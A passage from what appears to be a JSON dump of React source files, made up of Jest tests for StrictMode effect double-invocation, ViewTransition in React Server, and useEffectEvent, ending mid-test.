const log = [];\n    class ClassChild extends React.PureComponent {\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    function FunctionChild({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n      return text;\n    }\n\n    function App({text}) {\n      return (\n        <>\n          <ClassChild text={text} />\n          <FunctionChild text={text} />\n        </>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'componentDidMount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'componentWillUnmount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'componentDidMount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'componentDidMount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual([\n      'useLayoutEffect unmount',\n      'useLayoutEffect mount',\n      'useEffect unmount',\n      'useEffect mount',\n    ]);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual([\n      'componentWillUnmount',\n      'useLayoutEffect unmount',\n      'useEffect unmount',\n    ]);\n  });\n\n  it('classes without componentDidMount and functions are double invoked together correctly', async () => {\n    const log = [];\n    class ClassChild extends React.PureComponent {\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    function FunctionChild({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n      return text;\n    }\n\n    function App({text}) {\n      return (\n        <>\n          <ClassChild text={text} />\n          <FunctionChild text={text} />\n        </>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'componentWillUnmount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual([\n      'useLayoutEffect unmount',\n      'useLayoutEffect mount',\n      'useEffect unmount',\n      'useEffect mount',\n    ]);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual([\n      'componentWillUnmount',\n      'useLayoutEffect unmount',\n      'useEffect unmount',\n    ]);\n  });\n\n  // @gate __DEV__\n  it('should double invoke effects after a re-suspend', async () => {\n    // Not using log.push because it silences double render logs.\n    let log = [];\n    let shouldSuspend = true;\n    let resolve;\n    const suspensePromise = new Promise(_resolve => {\n      resolve = _resolve;\n    });\n    function Fallback() {\n      log.push('Fallback');\n      return 'Loading';\n    }\n\n    function Parent({prop}) {\n      log.push('Parent rendered');\n\n      React.useEffect(() => {\n        log.push('Parent create');\n        return () => {\n          log.push('Parent destroy');\n        };\n      }, []);\n\n      React.useEffect(() => {\n        log.push('Parent dep create');\n        return () => {\n          log.push('Parent dep destroy');\n        };\n      }, [prop]);\n\n      return (\n        <React.Suspense fallback={<Fallback />}>\n          <Child prop={prop} />\n        </React.Suspense>\n      );\n    }\n\n    function Child({prop}) {\n      const [count, forceUpdate] = React.useState(0);\n      const ref = React.useRef(null);\n      log.push('Child rendered');\n      React.useEffect(() => {\n        log.push('Child create');\n        return () => {\n          log.push('Child destroy');\n          ref.current = true;\n        };\n      }, []);\n      const key = `${prop}-${count}`;\n      React.useEffect(() => {\n        log.push('Child dep create');\n        if (ref.current === true) {\n          ref.current = false;\n          forceUpdate(c => c + 1);\n          log.push('-----------------------after setState');\n          return;\n        }\n\n        return () => {\n          log.push('Child dep destroy');\n        };\n      }, [key]);\n\n      if (shouldSuspend) {\n        log.push('Child suspended');\n        throw suspensePromise;\n      }\n      return null;\n    }\n\n    // Initial mount\n    shouldSuspend = false;\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Parent />\n        </React.StrictMode>,\n      );\n    });\n\n    // Now re-suspend\n    shouldSuspend = true;\n    log = [];\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Parent />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual([\n      'Parent rendered',\n      'Parent rendered',\n      'Child rendered',\n      'Child suspended',\n      'Fallback',\n      'Fallback',\n      // pre-warming\n      'Child rendered',\n      'Child suspended',\n    ]);\n\n    log = [];\n    // while suspended, update\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Parent prop={'bar'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual([\n      'Parent rendered',\n      'Parent rendered',\n      'Child rendered',\n      'Child suspended',\n      'Fallback',\n      'Fallback',\n      'Parent dep destroy',\n      'Parent dep create',\n      // pre-warming\n      'Child rendered',\n      'Child suspended',\n    ]);\n\n    log = [];\n    // Now resolve and commit\n    await act(() => {\n      resolve();\n      shouldSuspend = false;\n    });\n\n    expect(log).toEqual([\n      'Child rendered',\n      'Child rendered',\n      // !!! Committed, destroy and create effect.\n      // !!! The other effect is not destroyed and created\n      // !!! because the dep didn't change\n      'Child dep destroy',\n      'Child dep create',\n\n      // Double invoke both effects\n      'Child destroy',\n      'Child dep destroy',\n      'Child create',\n      'Child dep create',\n      // Fires setState\n      '-----------------------after setState',\n      'Child rendered',\n      'Child rendered',\n      'Child dep create',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/StrictEffectsModeDefaults-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet waitFor;\nlet waitForAll;\nlet waitForPaint;\n\ndescribe('StrictEffectsMode defaults', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  // @gate !disableLegacyMode\n  it('should not double invoke effects in legacy mode', async () => {\n    const log = [];\n    function App({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderLegacySyncRoot(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not double invoke class lifecycles in legacy mode', async () => {\n    const log = [];\n    class App extends React.PureComponent {\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    await act(() => {\n      ReactNoop.renderLegacySyncRoot(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['componentDidMount']);\n  });\n\n  if (__DEV__) {\n    it('should flush double-invoked effects within the same frame as layout effects if there are no passive effects', async () => {\n      const log = [];\n      function ComponentWithEffects({label}) {\n        React.useLayoutEffect(() => {\n          Scheduler.log(`useLayoutEffect mount \"${label}\"`);\n          log.push(`useLayoutEffect mount \"${label}\"`);\n          return () => {\n            Scheduler.log(`useLayoutEffect unmount \"${label}\"`);\n            log.push(`useLayoutEffect unmount \"${label}\"`);\n          };\n        });\n\n        return label;\n      }\n\n      await act(async () => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <ComponentWithEffects label={'one'} />\n          </React.StrictMode>,\n        );\n\n        await waitForPaint(['useLayoutEffect mount \"one\"']);\n        expect(log).toEqual([\n          'useLayoutEffect mount \"one\"',\n          'useLayoutEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n        ]);\n      });\n\n      log.length = 0;\n      await act(async () => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <ComponentWithEffects label={'one'} />\n            <ComponentWithEffects label={'two'} />\n          </React.StrictMode>,\n        );\n\n        expect(log).toEqual([]);\n        await waitForPaint([\n          // Cleanup and re-run \"one\" (and \"two\") since there is no dependencies array.\n          'useLayoutEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n          'useLayoutEffect mount \"two\"',\n        ]);\n        expect(log).toEqual([\n          // Cleanup and re-run \"one\" (and \"two\") since there is no dependencies array.\n          'useLayoutEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n          'useLayoutEffect mount \"two\"',\n\n          // Since \"two\" is new, it should be double-invoked.\n          'useLayoutEffect unmount \"two\"',\n          'useLayoutEffect mount \"two\"',\n        ]);\n      });\n    });\n\n    // This test also verifies that double-invoked effects flush synchronously\n    // within the same frame as passive effects.\n    it('should double invoke effects only for newly mounted components', async () => {\n      const log = [];\n      function ComponentWithEffects({label}) {\n        React.useEffect(() => {\n          log.push(`useEffect mount \"${label}\"`);\n          Scheduler.log(`useEffect mount \"${label}\"`);\n          return () => {\n            log.push(`useEffect unmount \"${label}\"`);\n            Scheduler.log(`useEffect unmount \"${label}\"`);\n          };\n        });\n\n        React.useLayoutEffect(() => {\n          log.push(`useLayoutEffect mount \"${label}\"`);\n          Scheduler.log(`useLayoutEffect mount \"${label}\"`);\n          return () => {\n            log.push(`useLayoutEffect unmount \"${label}\"`);\n            Scheduler.log(`useLayoutEffect unmount \"${label}\"`);\n          };\n        });\n\n        return label;\n      }\n\n      await act(async () => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <ComponentWithEffects label={'one'} />\n          </React.StrictMode>,\n        );\n\n        await waitForAll([\n          'useLayoutEffect mount \"one\"',\n          'useEffect mount \"one\"',\n        ]);\n        expect(log).toEqual([\n          'useLayoutEffect mount \"one\"',\n          'useEffect mount \"one\"',\n          'useLayoutEffect unmount \"one\"',\n          'useEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n          'useEffect mount \"one\"',\n        ]);\n      });\n\n      log.length = 0;\n      await act(async () => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <ComponentWithEffects label={'one'} />\n            <ComponentWithEffects label={'two'} />\n          </React.StrictMode>,\n        );\n\n        await waitFor([\n          // Cleanup and re-run \"one\" (and \"two\") since there is no dependencies array.\n          'useLayoutEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n          'useLayoutEffect mount \"two\"',\n        ]);\n        expect(log).toEqual([\n          // Cleanup and re-run \"one\" (and \"two\") since there is no dependencies array.\n          'useLayoutEffect unmount \"one\"',\n          'useLayoutEffect mount \"one\"',\n          'useLayoutEffect mount \"two\"',\n        ]);\n        log.length = 0;\n        await waitForAll([\n          'useEffect unmount \"one\"',\n          'useEffect mount \"one\"',\n          'useEffect mount \"two\"',\n        ]);\n        expect(log).toEqual([\n          'useEffect unmount \"one\"',\n          'useEffect mount \"one\"',\n          'useEffect mount \"two\"',\n\n          // Since \"two\" is new, it should be double-invoked.\n          'useLayoutEffect unmount \"two\"',\n          'useEffect unmount \"two\"',\n          'useLayoutEffect mount \"two\"',\n          'useEffect mount \"two\"',\n        ]);\n      });\n    });\n\n    it('double invoking for effects for modern roots', async () => {\n      const log = [];\n      function App({text}) {\n        React.useEffect(() => {\n          log.push('useEffect mount');\n          return () => log.push('useEffect unmount');\n        });\n\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect mount');\n          return () => log.push('useLayoutEffect unmount');\n        });\n\n        return text;\n      }\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'update'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect unmount',\n        'useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual(['useLayoutEffect unmount', 'useEffect unmount']);\n    });\n\n    it('multiple effects are double invoked in the right order (all mounted, all unmounted, all remounted)', async () => {\n      const log = [];\n      function App({text}) {\n        React.useEffect(() => {\n          log.push('useEffect One mount');\n          return () => log.push('useEffect One unmount');\n        });\n\n        React.useEffect(() => {\n          log.push('useEffect Two mount');\n          return () => log.push('useEffect Two unmount');\n        });\n\n        return text;\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useEffect One mount',\n        'useEffect Two mount',\n        'useEffect One unmount',\n        'useEffect Two unmount',\n        'useEffect One mount',\n        'useEffect Two mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'update'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useEffect One unmount',\n        'useEffect Two unmount',\n        'useEffect One mount',\n        'useEffect Two mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual(['useEffect One unmount', 'useEffect Two unmount']);\n    });\n\n    it('multiple layout effects are double invoked in the right order (all mounted, all unmounted, all remounted)', async () => {\n      const log = [];\n      function App({text}) {\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect One mount');\n          return () => log.push('useLayoutEffect One unmount');\n        });\n\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect Two mount');\n          return () => log.push('useLayoutEffect Two unmount');\n        });\n\n        return text;\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n        'useLayoutEffect One unmount',\n        'useLayoutEffect Two unmount',\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'update'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect One unmount',\n        'useLayoutEffect Two unmount',\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect One unmount',\n        'useLayoutEffect Two unmount',\n      ]);\n    });\n\n    it('useEffect and useLayoutEffect is called twice when there is no unmount', async () => {\n      const log = [];\n      function App({text}) {\n        React.useEffect(() => {\n          log.push('useEffect mount');\n        });\n\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect mount');\n        });\n\n        return text;\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'update'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual([]);\n    });\n\n    it('disconnects refs during double invoking', async () => {\n      const onRefMock = jest.fn();\n      function App({text}) {\n        return (\n          <span\n            ref={ref => {\n              onRefMock(ref);\n            }}>\n            text\n          </span>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(onRefMock.mock.calls.length).toBe(3);\n      expect(onRefMock.mock.calls[0][0]).not.toBeNull();\n      expect(onRefMock.mock.calls[1][0]).toBe(null);\n      expect(onRefMock.mock.calls[2][0]).not.toBeNull();\n    });\n\n    it('passes the right context to class component lifecycles', async () => {\n      const log = [];\n      class App extends React.PureComponent {\n        test() {}\n\n        componentDidMount() {\n          this.test();\n          log.push('componentDidMount');\n        }\n\n        componentDidUpdate() {\n          this.test();\n          log.push('componentDidUpdate');\n        }\n\n        componentWillUnmount() {\n          this.test();\n          log.push('componentWillUnmount');\n        }\n\n        render() {\n          return null;\n        }\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'componentDidMount',\n        'componentWillUnmount',\n        'componentDidMount',\n      ]);\n    });\n\n    it('double invoking works for class components', async () => {\n      const log = [];\n      class App extends React.PureComponent {\n        componentDidMount() {\n          log.push('componentDidMount');\n        }\n\n        componentDidUpdate() {\n          log.push('componentDidUpdate');\n        }\n\n        componentWillUnmount() {\n          log.push('componentWillUnmount');\n        }\n\n        render() {\n          return this.props.text;\n        }\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'componentDidMount',\n        'componentWillUnmount',\n        'componentDidMount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'update'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual(['componentDidUpdate']);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual(['componentWillUnmount']);\n    });\n\n    it('double flushing passive effects only results in one double invoke', async () => {\n      const log = [];\n      function App({text}) {\n        const [state, setState] = React.useState(0);\n        React.useEffect(() => {\n          if (state !== 1) {\n            setState(1);\n          }\n          log.push('useEffect mount');\n          return () => log.push('useEffect unmount');\n        });\n\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect mount');\n          return () => log.push('useLayoutEffect unmount');\n        });\n\n        log.push(text);\n        return text;\n      }\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'mount',\n        'mount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'mount',\n        'mount',\n        'useLayoutEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect unmount',\n        'useEffect mount',\n      ]);\n    });\n\n    it('newly mounted components after initial mount get double invoked', async () => {\n      let _setShowChild;\n      const log = [];\n      function Child() {\n        React.useEffect(() => {\n          log.push('Child useEffect mount');\n          return () => log.push('Child useEffect unmount');\n        });\n        React.useLayoutEffect(() => {\n          log.push('Child useLayoutEffect mount');\n          return () => log.push('Child useLayoutEffect unmount');\n        });\n\n        return null;\n      }\n\n      function App() {\n        const [showChild, setShowChild] = React.useState(false);\n        _setShowChild = setShowChild;\n        React.useEffect(() => {\n          log.push('App useEffect mount');\n          return () => log.push('App useEffect unmount');\n        });\n        React.useLayoutEffect(() => {\n          log.push('App useLayoutEffect mount');\n          return () => log.push('App useLayoutEffect unmount');\n        });\n\n        return showChild && <Child />;\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'App useLayoutEffect mount',\n        'App useEffect mount',\n        'App useLayoutEffect unmount',\n        'App useEffect unmount',\n        'App useLayoutEffect mount',\n        'App useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        _setShowChild(true);\n      });\n\n      expect(log).toEqual([\n        'App useLayoutEffect unmount',\n        'Child useLayoutEffect mount',\n        'App useLayoutEffect mount',\n        'App useEffect unmount',\n        'Child useEffect mount',\n        'App useEffect mount',\n        'Child useLayoutEffect unmount',\n        'Child useEffect unmount',\n        'Child useLayoutEffect mount',\n        'Child useEffect mount',\n      ]);\n    });\n\n    it('classes and functions are double invoked together correctly', async () => {\n      const log = [];\n      class ClassChild extends React.PureComponent {\n        componentDidMount() {\n          log.push('componentDidMount');\n        }\n\n        componentWillUnmount() {\n          log.push('componentWillUnmount');\n        }\n\n        render() {\n          return this.props.text;\n        }\n      }\n\n      function FunctionChild({text}) {\n        React.useEffect(() => {\n          log.push('useEffect mount');\n          return () => log.push('useEffect unmount');\n        });\n        React.useLayoutEffect(() => {\n          log.push('useLayoutEffect mount');\n          return () => log.push('useLayoutEffect unmount');\n        });\n        return text;\n      }\n\n      function App({text}) {\n        return (\n          <React.StrictMode>\n            <ClassChild text={text} />\n            <FunctionChild text={text} />\n          </React.StrictMode>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'componentDidMount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'componentWillUnmount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'componentDidMount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(\n          <React.StrictMode>\n            <App text={'mount'} />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(log).toEqual([\n        'useLayoutEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect unmount',\n        'useEffect mount',\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        ReactNoop.render(null);\n      });\n\n      expect(log).toEqual([\n        'componentWillUnmount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n      ]);\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ViewTransitionReactServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet act;\nlet ViewTransition;\nlet React;\nlet ReactServer;\nlet ReactNoop;\nlet ReactNoopFlightClient;\nlet ReactNoopFlightServer;\n\ndescribe('ViewTransitionReactServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ViewTransition = ReactServer.ViewTransition;\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n\n    jest.resetModules();\n    __unmockReact();\n    React = require('react');\n    ReactNoopFlightClient = require('react-noop-renderer/flight-client');\n    ReactNoop = require('react-noop-renderer');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate enableViewTransition\n  it('can be rendered in React Server', async () => {\n    function App() {\n      return ReactServer.createElement(\n        ViewTransition,\n        {},\n        ReactServer.createElement('div', null, 'Hello, Dave!'),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(App, null),\n    );\n\n    await act(async () => {\n      const app = await ReactNoopFlightClient.read(transport);\n\n      ReactNoop.render(app);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello, Dave!</div>);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/__snapshots__/ReactHooks-test.internal.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`ReactHooks works with ReactDOMServer calls inside a component 1`] = `\"<p>hello</p>0<p>bye</p>\"`;\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/useEffectEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nimport {useInsertionEffect} from 'react';\n\ndescribe('useEffectEvent', () => {\n  let React;\n  let ReactNoop;\n  let Scheduler;\n  let act;\n  let createContext;\n  let useContext;\n  let useState;\n  let useEffectEvent;\n  let useEffect;\n  let useLayoutEffect;\n  let useMemo;\n  let waitForAll;\n  let assertLog;\n  let waitForThrow;\n  let waitFor;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    act = require('internal-test-utils').act;\n    createContext = React.createContext;\n    useContext = React.useContext;\n    useState = React.useState;\n    useEffectEvent = React.useEffectEvent;\n    useEffect = React.useEffect;\n    useLayoutEffect = React.useLayoutEffect;\n    useMemo = React.useMemo;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    waitFor = InternalTestUtils.waitFor;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text} />;\n  }\n\n  it('memoizes basic case correctly', async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function Counter({incrementBy}) {\n      const [count, updateCount] = useState(0);\n      const onClick = useEffectEvent(() => updateCount(c => c + incrementBy));\n\n      return (\n        <>\n          <IncrementButton onClick={() => onClick()} ref={button} />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Counter incrementBy={1} />);\n    await waitForAll(['Increment', 'Count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 0\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 1']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 1\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Event should use the updated callback function closed over the new value.\n      'Count: 2',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 2\" />\n      </>,\n    );\n\n    // Increase the increment prop amount\n    ReactNoop.render(<Counter incrementBy={10} />);\n    await waitForAll(['Increment', 'Count: 2']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 2\" />\n      </>,\n    );\n\n    // Event uses the new prop\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 12']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 12\" />\n      </>,\n    );\n  });\n\n  it('can be defined more than once', async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n      multiply = () => {\n        this.props.onMouseEnter();\n      };\n      render() {\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function Counter({incrementBy}) {\n      const [count, updateCount] = useState(0);\n      const onClick = useEffectEvent(() => updateCount(c => c + incrementBy));\n      const onMouseEnter = useEffectEvent(() => {\n        updateCount(c => c * incrementBy);\n      });\n\n      return (\n        <>\n          <IncrementButton\n            onClick={() => onClick()}\n            onMouseEnter={() => onMouseEnter()}\n            ref={button}\n          />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Counter incrementBy={5} />);\n    await waitForAll(['Increment', 'Count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 0\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 5']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 5\" />\n      </>,\n    );\n\n    await act(() => button.current.multiply());\n    assertLog(['Increment', 'Count: 25']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 